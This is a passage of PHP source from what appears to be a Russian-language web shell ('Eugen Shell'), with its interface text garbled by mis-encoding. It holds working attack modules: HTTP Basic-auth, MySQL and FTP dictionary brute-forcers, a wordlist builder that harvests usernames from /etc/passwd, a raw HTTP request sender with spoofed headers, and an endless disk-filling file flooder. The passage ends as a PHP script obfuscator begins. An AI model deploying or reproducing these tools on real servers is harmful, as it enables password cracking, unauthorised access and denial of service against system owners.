6059function rot13($str) {
6060
6061$from = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
6062
6063$to = 'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM';
6064
6065$newstring = strtr($str, $from, $to);
6066
6067return $newstring;
6068
6069}
6070
6071function strip_spaces($str) {
6072
6073$str = str_replace(" ", "", $str);
6074
6075return $str;
6076
6077}
6078
6079function code() {
6080
6081global $et;
6082
6083$cwd = getcwd();
6084
6085echo "<center><table border=0><tr><td>";
6086
6087if(isset($_REQUEST['submit'])) {
6088
6089$text = $_REQUEST['text'];
6090
6091if($text == '') {
6092
6093die("<p>гЮОÐКМХРЕ ТÐПЛС!</p>\n");
6094
6095}
6096
6097$text = urldecode(stripslashes($text));
6098
6099$orig_text = $text;
6100
6101$orig_text = htmlentities($orig_text);
6102
6103echo("<p>$orig_text<br>ЙÐМБЕПРХПСЕРЯЪ Б:<br>\n");
6104
6105switch ($_POST['cryptmethod']) {
6106
6107case "asc2bin":
6108
6109$text = asc2bin($text);
6110
6111break;
6112
6113case "asc2hex":
6114
6115$text = asc2hex($text);
6116
6117break;
6118
6119case "bin2asc":
6120
6121$text = bin2asc($text);
6122
6123break;
6124
6125case "hex2asc":
6126
6127$text = hex2asc($text);
6128
6129break;
6130
6131case "bin2hex":
6132
6133$text = binary2hex($text);
6134
6135break;
6136
6137case "hex2bin":
6138
6139$text = hex2binary($text);
6140
6141break;
6142
6143case "backwards":
6144
6145$text = strrev($text);
6146
6147break;
6148
6149case 'b64enc':
6150
6151$text = base64_encode($text);
6152
6153break;
6154
6155case 'b64dec':
6156
6157$text = base64_decode(strip_spaces($text));
6158
6159break;
6160
6161case 'caesarbf':
6162
6163$text = caesarbf($text);
6164
6165break;
6166
6167case 'crypt':
6168
6169$text = crypt($text, 'CRYPT_STD_DES');
6170
6171break;
6172
6173case 'entityenc':
6174
6175$text = entityenc($text);
6176
6177break;
6178
6179case 'entitydec':
6180
6181$text = entitydec($text);
6182
6183break;
6184
6185case "l33t":
6186
6187$text = l33t($text);
6188
6189break;
6190
6191case "del33t":
6192
6193$text = del33t($text);
6194
6195break;
6196
6197case 'md5':
6198
6199$text = md5($text);
6200
6201break;
6202
6203case 'igpay':
6204
6205$text = igpay($text);
6206
6207break;
6208
6209case 'unigpay':
6210
6211$text = unigpay($text);
6212
6213break;
6214
6215case "rot-13":
6216
6217$text = rot13($text);
6218
6219break;
6220
6221case 'urlenc':
6222
6223$text = urlencode($text);
6224
6225break;
6226
6227case 'urldec':
6228
6229$text = urldecode($text);
6230
6231break;
6232
6233default:
6234
6235die("рХО МЕ ОÐДДЕПФХБЮЕРЯЪ!</p>\n");
6236
6237}
6238
6239$text = htmlentities($text);
6240
6241echo("$text</p>\n");
6242
6243}
6244
6245$form="<form action=\"".hlink("sec=hash&workingdir=$cwd")."\" method=\"post\">
6246
6247<textarea name=\"text\" rows=\"5\" cols=\"50\">";
6248
6249if (isset($orig_text)) { $form.=$orig_text; }
6250
6251$form.="</textarea><br />
6252
6253<select name=\"cryptmethod\">
6254
6255<option value=\"asc2bin\">ASCII to Binary</option>
6256
6257<option value=\"bin2asc\">Binary to ASCII</option>
6258
6259<option value=\"asc2hex\">ASCII to Hex</option>
6260
6261<option value=\"hex2asc\">Hex to ASCII</option>
6262
6263<option value=\"bin2hex\">Binary to Hex</option>
6264
6265<option value=\"hex2bin\">Hex to Binary</option>
6266
6267<option value=\"backwards\">Backwards</option>
6268
6269<option value=\"b64enc\">Base 64 Encode</option>
6270
6271<option value=\"b64dec\">Base 64 Decode</option>
6272
6273<option value=\"caesarbf\">Caesar Bruteforce</option>
6274
6275<option value=\"crypt\">DES Crypt (one way)</option>
6276
6277<option value=\"entityenc\">HTML Entities Encode</option>
6278
6279<option value=\"entitydec\">HTML Entities Decode</option>
6280
6281<option value=\"l33t\">l33t 5p34k 3nc0d3</option>
6282
6283<option value=\"del33t\">l33t 5p34k d3c0d3</option>
6284
6285<option value=\"md5\">MD5 Crypt (one way)</option>
6286
6287<option value=\"igpay\">Igpay Atinlay</option>
6288
6289<option value=\"unigpay\">Un-Pig Latin</option>
6290
6291<option value=\"rot-13\">ROT-13</option>
6292
6293<option value=\"urlenc\">URL Encode</option>
6294
6295<option value=\"urldec\">URL Decode</option>
6296
6297</select><br />
6298
6299<input type=\"submit\" name=\"submit\" value=\"OK\" />
6300
6301<input type=\"reset\" value=\"нВХЯРХРÐ\" />
6302
6303</form>";
6304
6305echo $form.$et;
6306
6307}
6308
6309function http() {
6310
6311global $et;
6312
6313$cwd = getcwd();
6314
6315echo "<center><table border=0><tr><td>\r\n";
6316
6317?>
6318
6319<script>
6320
6321function format() {
6322
6323var ff=document.forms.item('form');
6324
6325host=ff.host.value;
6326
6327path=ff.path.value;
6328
6329method=ff.method.value;
6330
6331vars=ff.vars.value;
6332
6333cookies=ff.cookies.value;
6334
6335agent=ff.agent.value;
6336
6337referer=ff.referer.value;
6338
6339xff=ff.xff.value;
6340
6341document.main.host.value=host;
6342
6343if (method == 'GET') {
6344
6345f='GET '+path+'?'+vars+' HTTP/1.1\r\n';
6346
6347} else {
6348
6349f='POST '+path+' HTTP/1.1\r\n';
6350
6351}
6352
6353f+='Accept: */*\r\n';
6354
6355f+='Accept-Language: ru\r\n';
6356
6357f+='Accept-Encoding: gzip\r\n';
6358
6359if (referer != '') {
6360
6361f+='Referer: '+referer+'\r\n';
6362
6363}
6364
6365if (method == 'POST') {
6366
6367f+='Content-Type: application/x-www-form-urlencoded\r\n';
6368
6369f+='Content-Length: '+vars.length+'\r\n';
6370
6371}
6372
6373if (xff != '') {
6374
6375f+='X-Forwarded-For: '+xff+'\r\n';
6376
6377}
6378
6379f+='User-Agent: '+agent+'\r\n';
6380
6381f+='Host: '+host+'\r\n';
6382
6383if (cookies != '') {
6384
6385f+='Cookie: '+cookies+'\r\n';
6386
6387}
6388
6389f+='Connection: Keep-Alive\r\n';
6390
6391if (method == 'POST') {
6392
6393if (vars == '') {
6394
6395f+='\r\n';
6396
6397} else {
6398
6399f+='\r\n'+vars;
6400
6401}
6402
6403} else {
6404
6405f+='\r\n';
6406
6407}
6408
6409document.main.pac.value=f;
6410
6411}
6412
6413</script>
6414
6415<noscript><center><h2>бЙКЧВХРЕ JavaScript ДКЪ МÐПЛЮКÐМÐИ ПЮÐÐРШ ЯЙПХОРЮ</h2></center></noscript>
6416
6417<h3>Ñ‚ÐПЛХПÐБЮМХЕ ГЮОПÐЯЮ</h3>
6418
6419<form name="form" action="javascript://" onSubmit="format();" onClick="format();" onKeyPress="format();">
6420
6421<table width="500">
6422
6423<tr>
6424
6425<td>уÐЯР:</td><td><input type="text" name="host" value="site.ru" onChange="format();" size="50" /></td>
6426
6427</tr>
6428
6429<tr>
6430
6431<td>оСРÐ:</td><td><input type="text" name="path" value="/index.php" onChange="format();" size="50" /></td>
6432
6433</tr>
6434
6435<tr>
6436
6437<td>лЕРÐД:</td><td><input type="radio" name="met" value="GET" checked="checked" onClick="document.form.method.value='GET';" /> GET <input type="radio" name="met" value="POST" onClick="document.form.method.value='POST';" /> POST<input type="hidden" name="method" value="GET" /></td>
6438
6439</tr>
6440
6441<tr>
6442
6443<td>оЕПЕЛЕММШЕ:</td><td><input type="text" name="vars" onChange="format();" size="50" /></td>
6444
6445</tr>
6446
6447<tr>
6448
6449<td>Cookies:</td><td><input type="text" name="cookies" onChange="format();" size="50" /></td>
6450
6451</tr>
6452
6453<tr>
6454
6455<td>User-Agent:</td><td><input type="text" name="agent" value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" onChange="format();" size="50" /></td>
6456
6457</tr>
6458
6459<tr>
6460
6461<td>Referer:</td><td><input type="text" name="referer" onChange="format();" size="50" /></td>
6462
6463</tr>
6464
6465<tr>
6466
6467<td>X-Forwarded-For:</td><td><input type="text" name="xff" onChange="format();" size="50" /></td>
6468
6469</tr>
6470
6471<tr>
6472
6473<td> </td><td><input type="submit" value="ÑТÐПЛХПÐБЮРРГЮОПÐЯ" /></td>
6474
6475</tr>
6476
6477</table>
6478
6479</form>
6480
6481<form name="main" action="<?=hlink("sec=http&workingdir=$cwd"); ?>&send=1" method="post">
6482
6483уÐЯР:<br />
6484
6485<input type="text" name="host" value="" /><br />
6486
6487гЮОПÐЯ:<br />
6488
6489<textarea name="pac" rows="10" cols="50"></textarea><br />
6490
6491дÐÐЮБКЪРРhtmlspecialchars() Й ÐРБЕРС ЯЕПБЕПЮ<br />(ДКЪ КЮЛЕПÐБ - БШБÐДХРРÐРБЕРБ БХДЕ РЕЙЯРЮ, Ю МЕ HTML) <input type="checkbox" checked="checked" name="hsc" /><br />
6492
6493<input type="submit" value="оÐЯКЮРРОЮЙЕР" />
6494
6495</form>
6496
6497<?
6498
6499if ($_GET['send'] == '1' && !empty($_POST['host']) && !empty($_POST['pac'])) {
6500
6501echo "<br><br>нРБЕРЯЕПБЕПЮ:<br><hr>";
6502
6503list($host,$port)=explode(":",$_POST['host']);
6504
6505if (!isset($port) or empty($port)) {
6506
6507unset($port);
6508
6509$port=80;
6510
6511}
6512
6513if (!$socket=@fsockopen($host,$port,$en,$es,"3")) {
6514
6515echo "<h2>мЕРЯБЪГХ Я ЯЕПБЕПÐЛ!</h2>";
6516
6517exit();
6518
6519}
6520
6521fputs($socket,stripslashes($_POST['pac']));
6522
6523$get="";
6524
6525while (!feof($socket)) { $get.=fgets($socket,32); }
6526
6527fclose($socket);
6528
6529if (isset($_POST['hsc'])) { $get=htmlspecialchars($get); }
6530
6531$get=nl2br($get);
6532
6533echo "<br>\r\n<div style=\"margin: 0px;padding: 7px;border: 1px inset;width: 640px;height: 480px;overflow: auto;background-color: #C0C0C0;color: #000000\">";
6534
6535echo $get."\r\n";
6536
6537echo "</div>\r\n";
6538
6539echo "<hr>\r\n";
6540
6541}
6542
6543echo $et."</center>";
6544
6545}
6546
6547function fflooder() {
6548
6549global $et;
6550
6551$cwd = getcwd();
6552
6553echo "<center><table border=0><tr><td>\r\n";
6554
6555if (!isset($_REQUEST['confirm'])) {
6556
6557echo "<script>
6558
6559if (confirm('тЮИКÐБШИ ТКСДЕП. Ñ€ÐВМРУÐРХРЕ ГЮÐХРРОЮОЙС ЯЦЕМЕПХПÐБЮММШЛХ ТЮИКЮЛХ?')) {
6560
6561location.href='".hlink("sec=fflooder&workingdir=$cwd&confirm=1")."';
6562
6563}
6564
6565</script>$et";
6566
6567}
6568
6569if (isset($_REQUEST['confirm'])) {
6570
6571$name = array('a','b','c','d','e','f','g','h','i','j','k', 'l','m','n','o','p','r','s',
6572
6573 't','u','v','x','y','z','A','B','C','D','E','F','G ','H','I','J','K','L',
6574
6575 'M','N','O','P','R','S','T','U','V','X','Y','Z','1 ','2','3','4','5','6',
6576
6577 '7','8','9','0');
6578
6579$rash= array('.txt','.dic','.doc','.xls','.exe','.ini',
6580
6581 '.bat','.log','.dll','.hak','.wmf','.zip','.rar',
6582
6583 '.tar','.gz','.jpg','.gif','.bmp');
6584
6585while(true) {
6586
6587$perem = "";
6588
6589$fuck="";
6590
6591for($i = 0; $i < rand(20,1); $i++)
6592
6593{
6594
6595$by = rand(0, count($name) - 1);
6596
6597$perem .= $name[$by];
6598
6599}
6600
6601$ra= rand(0, count($rash)-1);
6602
6603$fuck .= $rash[$ra];
6604
6605$fp=fopen($perem.$fuck,"w");
6606
6607fwrite($fp,str_repeat(php_uname(),20));
6608
6609fclose($fp);
6610
6611}
6612
6613}
6614
6615}
6616
6617function selfremove() {
6618
6619global $et;
6620
6621echo "<center><table border=0><tr><td>\r\n";
6622
6623if (!isset($_REQUEST['confirm'])) {
6624
6625echo "<script>
6626
6627if (confirm('бШ СБЕПЕМШ, ВРРУÐРХРЕ СДЮКХРРЛЕМЪ? :\'(')) {
6628
6629location.href='".hlink("sec=selfremove&confirm=1")."';
6630
6631}
6632
6633</script>$et";
6634
6635}
6636
6637if (isset($_REQUEST['confirm'])) {
6638
6639unlink($_SERVER['SCRIPT_FILENAME']);
6640
6641echo "<script>alert('цÐÐ ÐБÐ!');</script>";
6642
6643}
6644
6645}
6646
6647function dicmaker(){
6648
6649global $errorbox,$windows,$footer,$t,$et,$hcwd;
6650
6651if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0;
6652
6653if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
6654
6655$min = $_REQUEST['min'];
6656
6657$max = $_REQUEST['max'];
6658
6659if($max<$min)die($errorbox ."мЕБЕПМШИ ББÐД!$et". $footer);
6660
6661$s =$w="";
6662
6663$out = $_REQUEST['output'];
6664
6665$r = ($_REQUEST['range']=='a' )?'a':'A';
6666
6667if ($_REQUEST['range']==0) $r=0;
6668
6669for($i=0;$i<$min;$i++) $s.=$r;
6670
6671$dic = fopen($out,'a');
6672
6673if(is_nan($r)){
6674
6675while(strlen($s)<=$max){
6676
6677$w = $s;
6678
6679if($combo)$w="$w:$w";
6680
6681fwrite($dic,$w."\n");
6682
6683$s++;}
6684
6685}
6686
6687else{
6688
6689while(strlen($w)<=$max){
6690
6691$w =(string)str_repeat("0",($min - strlen($s))).$s;
6692
6693if($combo)$w="$w:$w";
6694
6695fwrite($dic,$w."\n");
6696
6697$s++;}
6698
6699}
6700
6701fclose($dic);
6702
6703echo "<font color=blue>цÐÐ ÐБÐ!</font>";
6704
6705}
6706
6707if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
6708
6709$input=fopen($_REQUEST['input'],'r');
6710
6711if (!$input){
6712
6713if ($windows)echo $errorbox. "мЕБÐГЛÐФМРЯВХРЮРРЯ ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
6714
6715else{
6716
6717$input=explode("\n",shell("cat $input"));
6718
6719$output=fopen($_REQUEST['output'],'w');
6720
6721if ($output){
6722
6723foreach ($input as $in){
6724
6725$user = $in;
6726
6727$user = trim(fgets($in)," \n\r");
6728
6729if (!strstr($user,":"))continue;
6730
6731$user=substr($user,0,(strpos($user,':')));
6732
6733if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
6734
6735}
6736
6737fclose($input);fclose($output);
6738
6739echo "<font color=blue>цÐÐ ÐБÐ!</font>";
6740
6741}
6742
6743}
6744
6745}
6746
6747else{
6748
6749$output=fopen($_REQUEST['output'],'w');
6750
6751if ($output){
6752
6753while (!feof($input)){
6754
6755$user = trim(fgets($input)," \n\r");
6756
6757if (!strstr($user,":"))continue;
6758
6759$user=substr($user,0,(strpos($user,':')));
6760
6761if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n");
6762
6763}
6764
6765fclose($input);fclose($output);
6766
6767echo "<font color=blue>цÐÐ ÐБÐ!</font>";
6768
6769}
6770
6771else echo $errorbox." мЕБÐГЛÐФМРГЮОХЯЮРРБ ".htmlspecialchars($_REQUEST['input']) ."$et<br>";
6772
6773}
6774
6775}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
6776
6777$res=downloadit($_REQUEST['url'],$_REQUEST['output']);
6778
6779if($combo && $res){
6780
6781$file=file($_REQUEST['output']);
6782
6783$output=fopen($_REQUEST['output'],'w');
6784
6785foreach ($file as $v)fwrite($output,"$v:$v\n");
6786
6787fclose($output);
6788
6789}
6790
6791echo "<font color=blue>цÐÐ ÐБÐ!</font>";
6792
6793}else{
6794
6795$temp=whereistmp();
6796
6797echo "<center>${t}цЕМЕПЮРÐП ЯКÐБ:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">оПÐЛЕФСРÐЙ:</td><td><select name=range><option value=a>a-z</option><option value=Z>A-Z</option><option value=0>0-9</option></select></td></tr><tr><td width=\"20%\">лХМ. ДКХМЮ:</td><td><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width=\"20%\">лЮЙЯ. ДКХМЮ:</td><td><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width=\"20%\">ÑÐУПЮМХРРБ:</td><td><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\"></td><td><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>бШБÐД Б Combo-ЯРХКЕ</td></tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=ÑÐГДЮРÐ></td></tr></form></table><br>${t}ÑЦПЮÐХРРЯКÐБЮПÐ:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">нРЙСДЮ:</td><td><input type=text value=\"/etc/passwd\" name=input size=35></td></tr><tr><td width=\"20%\">ÑÐУПЮМХРРБ:</td><td><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\"></td><td><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>бШБÐД Б Combo-ЯРХКЕ</td></tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=ÑЦПЮÐХРÐ></td></tr></form></table><br>${t}гЮЦПСГХРРЯКÐБЮПÐ:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">URL:</td><td><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr><tr><td width=\"20%\">ÑÐУПЮМХРРБ:</td><td><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\"></td><td><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>бШБÐД Б Combo-ЯРХКЕ</td></tr><tr><td></td><td align=right>$hcwd<input class=buttons type=submit value=гЮЦПСГХРÐ></td></tr></form></table></center>";}
6798
6799}
6800
6801function calc(){
6802
6803global $t,$et,$hcwd;
6804
6805$fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode');
6806
6807if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
6808
6809echo "<center>${t}бШБÐД:<br><textarea rows=\"10\" cols=\"64\">";
6810
6811if($_REQUEST['to']!='hex')echo $_REQUEST['to']($_REQUEST['input']);else for($i=0;$i<strlen($_REQUEST['input']);$i++)echo strtoupper(dechex(ord($_REQUEST['input']{$i})));
6812
6813echo "</textarea>$et</center><br>";
6814
6815}
6816
6817echo "<center>${t}йÐМБЕПРЕП:</td><td></td></tr><form method=\"POST\"><tr><td width=\"20%\">бБÐД:</td><td><textarea rows=\"10\" name=\"input\" cols=\"64\">";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width=\"20%\">гЮДЮМХЕ:</td><td><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>crc32</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=hex>HEX</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width=\"20%\"></td><td align=right><input class=buttons type=submit value=йÐМБЕПРХПÐБЮРÐ></td></tr>$hcwd</form></table></center>";
6818
6819}
6820
6821function authcracker(){
6822
6823global $errorbox,$et,$t,$crack,$hcwd;
6824
6825if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
6826
6827$data='';
6828
6829$method=($_REQUEST['method'])?'POST':'GET';
6830
6831if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));}
6832
6833list($host)=explode("/",$_REQUEST['target']);
6834
6835$page=substr($_REQUEST['target'],strpos($_REQUEST['target'],"/")+1);
6836
6837$type=$_REQUEST['combo'];
6838
6839$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
6840
6841if($method='GET')$page.=$data;
6842
6843$dictionary=fopen($_REQUEST['dictionary'],'r') or exit('Dictionary error');
6844
6845echo "<font color=blue>";
6846
6847while(!feof($dictionary)){
6848
6849if($type){
6850
6851$combo=trim(fgets($dictionary)," \r\n");
6852
6853$user=substr($combo,0,strpos($combo,':'));
6854
6855$pass=substr($combo,strpos($combo,':')+1);
6856
6857}else{
6858
6859$pass=trim(fgets($dictionary)," \n\r");
6860
6861}
6862
6863$so=fsockopen($host,80,$en,$es,8);
6864
6865if(!$so){echo "$errorbox мЕРЯБЪГХ$et";break;}
6866
6867else{
6868
6869$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass");
6870
6871if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data);
6872
6873$packet.="\r\n\r\n";
6874
6875$packet.=$data;
6876
6877fputs($so,$packet);
6878
6879$res=substr(fgets($so),9,2);
6880
6881fclose($so);
6882
6883if($res=='20')echo "U: $user P: $pass</br>";
6884
6885flusher();
6886
6887}
6888
6889}
6890
6891echo "цÐÐ ÐБÐ!</font>";
6892
6893}else echo "<center><form method=\"POST\" name=form>${t}аПСРHTTP-ЮБРÐПХГЮЖХХ:</td><td><select name=method><option value=1>POST</option><option value=0>GET</option></select></td></tr><tr><td width=\"20%\">ÑКÐБЮПÐ:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">рХО ЯКÐБЮПЪ:</td><td><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\">хЛЪ:</td><td><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\">ÑЕПБЕП:</td><td><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\"></td><td align=right>$hcwd<input class=buttons type=submit value=ÑРЮПР></td></tr></form></table></center>";
6894
6895}
6896
6897function sqlcracker(){
6898
6899global $errorbox,$t,$et,$crack;
6900
6901if (!function_exists("mysql_connect")){
6902
6903echo "$errorbox Server does not support MySQL$et";
6904
6905}
6906
6907else{
6908
6909if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
6910
6911$target=$_REQUEST['target'];
6912
6913$type=$_REQUEST['combo'];
6914
6915$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
6916
6917$dictionary=fopen($_REQUEST['dictionary'],'r');
6918
6919if ($dictionary){
6920
6921echo "<font color=blue>кÐЛЮЕЛ ".htmlspecialchars($target)."...<br>";
6922
6923while(!feof($dictionary)){
6924
6925if($type){
6926
6927$combo=trim(fgets($dictionary)," \n\r");
6928
6929$user=substr($combo,0,strpos($combo,':'));
6930
6931$pass=substr($combo,strpos($combo,':')+1);
6932
6933}else{
6934
6935$pass=trim(fgets($dictionary)," \n\r");
6936
6937}
6938
6939$sql=@mysql_connect($target,$user,$pass);
6940
6941if($sql){echo "U: $user P: $pass (<a href=\"".hlink("sec=mysql&server=$target&user=$user&pasr=$pass&query=SHOW+DATABASES&workingdir=".getcwd())."\">оÐДЙКЧВХРÐЯЪ</a>)<br>";mysql_close($sql);if(!$type)break;}
6942
6943flusher();
6944
6945}
6946
6947echo "<br>цÐÐ ÐБÐ!</font>";
6948
6949fclose($dictionary);
6950
6951}
6952
6953else{
6954
6955echo "$errorbox мЕБÐГЛÐФМРÐРЙПШРРЯКÐБЮПÐ.$et";
6956
6957}
6958
6959}
6960
6961else{
6962
6963echo "<center>${t}MySQL ÐПСР:$crack";
6964
6965}
6966
6967}
6968
6969}
6970
6971function ftpcracker(){
6972
6973global $errorbox,$t,$et,$crack;
6974
6975if (!function_exists("ftp_connect"))echo "$errorbox ÑЕПБЕП МЕ ОÐДДЕПФХБЮЕРFTP ТСМЙЖХИ$et";
6976
6977else{
6978
6979if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
6980
6981$target=$_REQUEST['target'];
6982
6983$type=$_REQUEST['combo'];
6984
6985$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:"";
6986
6987$dictionary=fopen($_REQUEST['dictionary'],'r');
6988
6989if ($dictionary){
6990
6991echo "<font color=blue>кÐЛЮЕЛ ".htmlspecialchars($target)."...<br>";
6992
6993while(!feof($dictionary)){
6994
6995if($type){
6996
6997$combo=trim(fgets($dictionary)," \n\r");
6998
6999$user=substr($combo,0,strpos($combo,':'));
7000
7001$pass=substr($combo,strpos($combo,':')+1);
7002
7003}else{
7004
7005$pass=trim(fgets($dictionary)," \n\r");
7006
7007}
7008
7009if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox мЕБÐГЛÐФМРОÐДЙКЧВХРÐЯЪ Й ЯЕПБЕПС.$et";break;}
7010
7011if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass<br>";if(!$type)break;}
7012
7013ftp_close($ftp);
7014
7015flusher();
7016
7017}
7018
7019echo "<br>цÐÐ ÐБÐ!</font>";
7020
7021fclose($dictionary);
7022
7023}
7024
7025else{
7026
7027echo "$errorbox мЕБÐГЛÐФМРÐРЙПШРРЯКÐБЮПÐ.$et";
7028
7029}
7030
7031}
7032
7033else echo "<center>${t}FTP ÐПСР:$crack";
7034
7035}}
7036
7037function openit($name){
7038
7039$ext=strtolower(substr($name,strrpos($name,'.')+1));
7040
7041$src=array('php','php3','php4','phps','phtml','phtm','inc');
7042
7043if(in_array($ext,$src)) {
7044
7045echo "<div style=\"margin: 0px;padding: 7px;border: 1px inset;width: 830px;height: 600px;overflow: auto;background-color: #C0C0C0;color: #000000\">";
7046
7047highlight_file($name);
7048
7049echo "</div>";
7050
7051}
7052
7053else echo "<div style=\"margin: 0px;padding: 7px;border: 1px inset;width: 830px;height: 600px;overflow: auto;background-color: #C0C0C0;color: #000000\"><font color=black><pre>".htmlspecialchars(file_get_contents($name))."</pre></font></div>";
7054
7055}
7056
7057function proxycheck() {
7058
7059global $et,$msgbox;
7060
7061$file=$_REQUEST['file'];
7062
7063echo $msgbox;
7064
7065if (!isset($file) || empty($file)) { ?>
7066
7067<form action="#" method='post'>
7068
7069бБЕДХРЕ ОПÐЙЯХ <br><textarea name='file' cols='100' rows='20'>195.39.68.121:8080
7070
7071proxy.domen.com:3128</textarea><br><br>
7072
7073<input type='submit' value='оПÐБЕПХРÐ'></form>
7074
7075<?
7076
7077}
7078
7079$good="";
7080
7081$timeout="5";
7082
7083if(isset($file))
7084
7085{
7086
7087$start = time ();
7088
7089while (strstr($file,"\r\n\r\n")) {
7090
7091$file=str_replace("\r\n\r\n", "\r\n", $file);
7092
7093}
7094
7095$proxy=explode ("\r\n", $file);
7096
7097$vse = count($proxy);
7098
7099echo "<center><font color=blue><b>оÐФЮКСИЯРЮ, МЕ ГЮЙПШБЮИРЕ ÐЙМРÐПЮСГЕПЮ ДРÐЙÐМВЮМХЪ ОПÐБЕПЙХ!</b></font></center>";
7100
7101echo "<center>бЯЕЦРОПÐЙЯЕИ:<b> $vse<br><br><br><br></b></center>";
7102
7103foreach($proxy as $index => $proxy )
7104
7105{
7106
7107if(isset($proxy) && !empty($proxy))
7108
7109{
7110
7111$prox = explode (":",$proxy);
7112
7113$addr=gethostbyname($prox[0]);
7114
7115$prox[1] = str_replace("\r","",$prox[1]);
7116
7117$prox[1] = str_replace("\n","",$prox[1]);
7118
7119$fp = fsockopen($addr,$prox[1], $errno, $errstr, $timeout);
7120
7121ob_implicit_flush();
7122
7123if(!$fp)
7124
7125{
7126
7127ob_implicit_flush();
7128
7129echo "<font color=red>$proxy МЕ ПЮÐÐРЮЕР...</font><br>";
7130
7131}
7132
7133else
7134
7135{
7136
7137ob_implicit_flush();
7138
7139echo "<b><font color=green>$proxy ПЮÐÐРЮЕР!</font></b><br>";
7140
7141$good .= $proxy."<br>";
7142
7143}
7144
7145}
7146
7147}
7148
7149$time = time ();
7150
7151$end_time = $time - $start ;
7152
7153echo "гЮРПЮВЕМРБПЕЛЕМХ: $end_time ЯЕЙ.<br>";
7154
7155echo "уÐПÐЬХЕ ОПÐЙЯХ:<br><br>$good";
7156
7157}
7158
7159echo $et;
7160
7161}
7162
7163if ($_REQUEST['sec'] == 'cryptphp') {
7164
7165global $msgbox,$et;
7166
7167if (!isset($_GET['crypt']) || empty($HTTP_POST_FILES['file'])) {
7168
7169?>
7170
7171<html>
7172
7173<head>
7174
7175<? echo $mainmenu; ?>
7176
7177<title>Eugen Shell - <?=getcwd();?></title>
7178
7179</head>
7180
7181<body text="#ffffff" bgcolor="#181818" link="#DCDCDC" vlink="#DCDCDC" alink="#DCDCDC" onLoad="writeMenus()" onResize="if (isNS4) nsResizeHandler()">
7182
7183<table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse" bordercolor="#282828" bgcolor="#333333" width="100%">
7184
7185<tr><td><br>ÑХЯРЕЛМЮЪ ДЮРЮ: <? echo $date." ".$time_now; ?></td></tr></table><hr size=1 noshade>
7186
7187<?=$msgbox;?>
7188
7189<h1>йПХОРÐП PHP ЯЙПХОРÐБ</h1>
7190
7191<br />
7192
7193<form action="<? echo hlink("sec=cryptphp&crypt=1"); ?>" method="post" enctype="multipart/form-data">
7194
7195гЮЦПСГХРЕ БЮЬ ЯЙПХОР:<br />
7196
